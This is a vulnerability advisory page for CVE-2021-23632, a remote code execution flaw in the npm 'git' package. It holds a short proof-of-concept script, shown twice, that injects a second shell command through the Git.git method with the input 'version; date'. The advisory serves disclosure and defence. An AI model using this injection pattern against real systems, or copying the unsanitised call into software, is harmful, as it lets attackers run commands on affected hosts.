CVE-2021-23632

Remote Code Execution (RCE)

Published Mar 17, 2022 CVSS 3.1 · 6.6 Medium EPSS 2.4% KEV · Not listed
Description
All versions of package git are vulnerable to Remote Code Execution (RCE) due to missing sanitization in the Git.git method, which allows execution of OS commands rather than just git commands. Steps to Reproduce 1. Create a file named exploit.js with the following content: js var Git = require("git").Git; var repo = new Git("repo-test"); var user_input = "version; date"; repo.git(user_input, function(err, result) { console.log(result); }) 2. In the same directory as exploit.js, run npm install git. 3. Run exploit.js: node exploit.js. You should see the outputs of both the git version and date command-lines. Note that the repo-test Git repository does not need to be present to make this PoC work.

Remediation

No solution or workaround provided in the CVE record

Tracking

Sign in to view the affected projects.

Advisories

Source ID Title
EUVD EUVD EUVD-2022-1395 All versions of package git are vulnerable to Remote Code Execution (RCE) due to missing sanitization in the Git.git method, which allows execution of OS commands rather than just git commands. Steps to Reproduce 1. Create a file named exploit.js with the following content: js var Git = require("git").Git; var repo = new Git("repo-test"); var user_input = "version; date"; repo.git(user_input, function(err, result) { console.log(result); }) 2. In the same directory as exploit.js, run npm install git. 3. Run exploit.js: node exploit.js. You should see the outputs of both the git version and date command-lines. Note that the repo-test Git repository does not need to be present to make this PoC work.
Github GHSA Github GHSA GHSA-9gqr-xp86-f87h Code injection in npm git
References
History

No history.

Weaknesses

Sources

Status
PUBLISHED
Assigner
snyk
Published
Updated
Sep 16, 2024, 5:38 PM
Reserved
Jan 8, 2021, 12:00 AM
Status
Modified
Published
Mar 17, 2022, 12:15 PM
Modified
Jun 17, 2026, 3:38 AM